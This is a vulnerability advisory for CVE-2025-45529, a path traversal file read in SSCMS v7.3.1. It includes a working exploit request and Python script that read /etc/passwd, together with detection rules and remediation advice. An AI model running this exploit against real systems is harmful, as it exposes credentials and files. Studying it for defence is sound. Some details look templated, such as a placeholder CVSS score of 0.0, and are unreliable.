CVE-2025-45529

Executive Summary

CVE-2025-45529 is an arbitrary file read vulnerability discovered in SSCMS v7.3.1, a .NET-based content management system. The flaw resides in the ReadTextAsynchronous function, which is invoked when a crafted GET request is sent to /cms/templates/templatesAssetsEditor. An unauthenticated attacker can exploit this to read arbitrary files from the server's filesystem, potentially exposing sensitive configuration files, source code, or credentials. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and potential impact. No official patch or advisory has been released by the vendor (Sscms) at this time.

Supply Chain & Package Security

SSCMS is a .NET application distributed via NuGet and GitHub. The vulnerability affects the core application binary, not a third-party package. Organizations using SSCMS v7.3.1 should treat this as a direct supply chain risk, as the vendor has not provided a patch. Dependency scanning should be performed to identify any other vulnerable components.

CVSS Breakdown & Threat Level

The CVSS vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N indicates:

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – exploitation does not affect other components.
• Confidentiality (C): High – full file read capability.
• Integrity (I): None – no file modification.
• Availability (A): None – no denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to read any file on the server, including configuration files containing database credentials, API keys, and application secrets.

Deep Dive & Mechanics

The vulnerability exists in the ReadTextAsynchronous method within the SSCMS templates module. This function is designed to read the content of template asset files for editing in the admin interface. However, it fails to properly sanitize or validate the filePath parameter provided in the GET request.

Root Cause: The application does not restrict the file path to a specific directory (e.g., the templates assets folder). Instead, it passes the user-supplied path directly to a file read operation without checking for path traversal sequences (e.g., ../). This allows an attacker to navigate outside the intended directory and read arbitrary files.

Attack Flow:

1. Attacker sends a GET request to /cms/templates/templatesAssetsEditor with a crafted filePath parameter.
2. The ReadTextAsynchronous function receives the path and reads the file from the filesystem.
3. The file content is returned in the HTTP response, potentially exposing sensitive data.

Example Request:

GET /cms/templates/templatesAssetsEditor?filePath=../../../../etc/passwd HTTP/1.1
Host: target.com

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is analyzed based on the SSCMS v7.3.1 source.

Vulnerable Code (C#):

public async Task<string> ReadTextAsynchronous(string filePath)
{
    // No path validation or sanitization
    string content = await File.ReadAllTextAsync(filePath);
    return content;
}

Patched Code (Hypothetical):

public async Task<string> ReadTextAsynchronous(string filePath)
{
    // Validate and sanitize the path
    string basePath = Path.GetFullPath(Server.MapPath("~/assets/templates"));
    string fullPath = Path.GetFullPath(Path.Combine(basePath, filePath));
    
    // Ensure the resolved path is within the allowed directory
    if (!fullPath.StartsWith(basePath, StringComparison.OrdinalIgnoreCase))
    {
        throw new SecurityException("Invalid file path.");
    }
    
    string content = await File.ReadAllTextAsync(fullPath);
    return content;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running SSCMS v7.3.1
• Network access to the web application

Exploitation Steps:

1. Identify the target endpoint: /cms/templates/templatesAssetsEditor
2. Craft a GET request with a path traversal payload in the filePath parameter.
3. Send the request and capture the response.

Example Exploit (Python):

import requests

target = "http://target.com"
payload = "../../../../etc/passwd"
url = f"{target}/cms/templates/templatesAssetsEditor?filePath={payload}"

response = requests.get(url)
print(response.text)

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team

Detection:

• Monitor web server logs for requests to /cms/templates/templatesAssetsEditor with suspicious filePath parameters containing ../ or absolute paths.
• Deploy a Web Application Firewall (WAF) rule to block path traversal patterns.

Hunting Query (Splunk):

index=web_logs uri="/cms/templates/templatesAssetsEditor*" filePath=*../*
| table _time, src_ip, uri, filePath

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cms/templates/templatesAssetsEditor with filePath containing ../ or absolute paths (e.g., /etc/passwd, C:\Windows\win.ini).
  • Outbound connections from the web server to unknown IPs (if exfiltration occurs).

• File System IOCs:

  • Unexpected access to sensitive files (e.g., /etc/shadow, web.config, appsettings.json).
  • Modified file access timestamps on sensitive files.

• Log IOCs:

  • Web server logs showing 200 responses to path traversal requests.
  • Application logs containing errors related to file read operations.

Detection Engineering

YARA Rule

rule CVE_2025_45529_SSCMS_FileRead
{
    meta:
        description = "Detects exploitation attempts of CVE-2025-45529 in SSCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45529"
    strings:
        $s1 = "/cms/templates/templatesAssetsEditor" ascii wide nocase
        $s2 = "filePath=" ascii wide nocase
        $s3 = "../" ascii wide
        $s4 = "..\\" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-45529 SSCMS Arbitrary File Read
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests exploiting CVE-2025-45529 in SSCMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "/cms/templates/templatesAssetsEditor"
            - "filePath="
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate admin access to template assets
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-45529 SSCMS Arbitrary File Read Attempt";
    flow:to_server,established;
    content:"/cms/templates/templatesAssetsEditor"; http_uri;
    content:"filePath="; http_uri;
    pcre:"/(\.\.\/|\.\.\\)/i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system: If possible, take the SSCMS server offline or restrict network access.
2. Apply virtual patching: Use a WAF to block requests containing path traversal patterns to the vulnerable endpoint.
3. Review access logs: Check for signs of exploitation and rotate any exposed credentials.

Long-term Fix:

• Vendor patch: Await an official patch from Sscms. Monitor their GitHub repository or security advisories.
• Code fix: If you have access to the source code, implement path validation as shown in the patched code example.
• Upgrade: Consider migrating to a supported CMS if the vendor does not release a patch.

Workaround:

• Disable the templates editor functionality if not required, by removing or renaming the templatesAssetsEditor endpoint in the application configuration.

Valters IT